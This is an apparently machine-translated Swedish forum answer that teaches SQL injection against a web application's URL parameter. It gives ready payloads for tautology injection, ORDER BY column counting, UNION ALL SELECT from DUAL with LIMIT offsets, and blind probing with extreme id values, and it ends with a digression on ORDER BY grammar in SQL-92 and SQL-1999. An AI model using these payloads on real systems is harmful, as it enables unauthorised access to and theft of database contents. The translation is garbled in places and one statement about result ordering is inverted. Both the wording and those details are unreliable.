Ok då ska vi ha lite kul.
När jag tittar på felmeddelandet
Jag antar att frågan och koden i applikationen är mer eller mindre så här pseudomässigt, @o
är i själva verket en MySQL användarvariabel..
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
Jag kommer att använda en SQL-fiol mellanslag att simulera ett SQL-injektionstest och mer få möjlig tillgång till andra tabeller.
Du kan testa din injektion med 1' OR 1 = 1#
eller 1' OR 1 = 1--
båda bör fungera och bör ge dig samma resultat när du använder 1
som indata. Detta beror på att MariaDB automatic castar typerna för andra databaser som du kan behöva använda den mer strikta versionen 1' OR '1' = '1#
Som borde generera
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
Eller
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
Eftersom du ser fel i applikationen kan du använda ORDER BY 1
för att kontrollera hur många kolumner som är markerade och öka antalet tills du får ett felmeddelande.
Fel:ER_BAD_FIELD_ERROR:Okänd kolumn '2' i 'ordersats'
Injicera med
1' ORDER BY 1#
eller 1' ORDER BY 1--
Vilket betyder sortera på den första kolumnen i resultatuppsättningen INTE sortera 1
bokstavligt.
Genererar
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
Eller
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
När du känner till kolumnerna kan du använda UNION
för att komma in på andra tabeller. Använd NULL
om du inte behöver alla kolumner.
injektion
1' UNION ALL SELECT NULL FROM DUAL#
Observera att DUAL
är en "virtuell" icke-existerande tabell i MariaDB, MySQL och Oracle, om du kan fråga denna "tabell" betyder det att du också tekniskt sett kan komma in i andra tabeller.
genererad SQL
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
Och om webbsidan är utformad som en "detaljerad" sida där en post alltid är synlig måste du lägga till en LIMIT 1, 1
i din injektion.
Tänk om det inte finns några synliga fel i webbapplikationen så borde du bara blint kunna bruteforce geuss med blinda SQL-injektioner och se hur applikationen fungerar.
Prova även saker som ?o=0
, ?o=NULL
eller mycket höga siffror som max INT-värdet (signerad) ?o=2147483647
eller (osignerad) ?o=4294967295
innan du försöker bruteforce det använda kolumnnumret så att du vet hur programmet hanterar poster som inte kan hittas. Eftersom det är mycket osannolikt att ha id 0
eller att höga siffror på en INT
datatyp, eftersom applikationen kommer att sluta fungera om det senaste numret gavs. Om du fortfarande får en post med de höga siffrorna använder du maxvärdena för BIGINT
datatyp istället.
För kolumn 1 samma resultat-id o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
För kolumner 2 som kommer att fel, men mest troligt kommer du att se en felsida eller ett meddelande om att posten inte hittades.
Eller en söt HTTP 404 (hittades ej) felstatus. 1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Ett problem du kan få när du använder LIMIT
utan att använda ORDER BY
kan vara en chans att få samma poster eftersom SQL-standarden har definierat att SQL-tabeller/resultatuppsättningar är ordnade utan att använda ORDER BY
Så du behöver helst fortsätta använda ORDER BY 1
i råstyrkorna.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
Och
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
Databaserna stöder ORDER BY 1
är bättre än jag tänkte vid första tanken eftersom det fungerar i MySQL, MariaDB, SQL Server (MSSQL) och PostgreSQL.
Även ORDER BY 1
var en SQL 92-funktion som togs bort i SQL 99.
Så egentligen borde SQL-databaser inte köra ORDER BY 1
längre om de skulle följa SQL-standarderna på denna punkt.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
mot SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC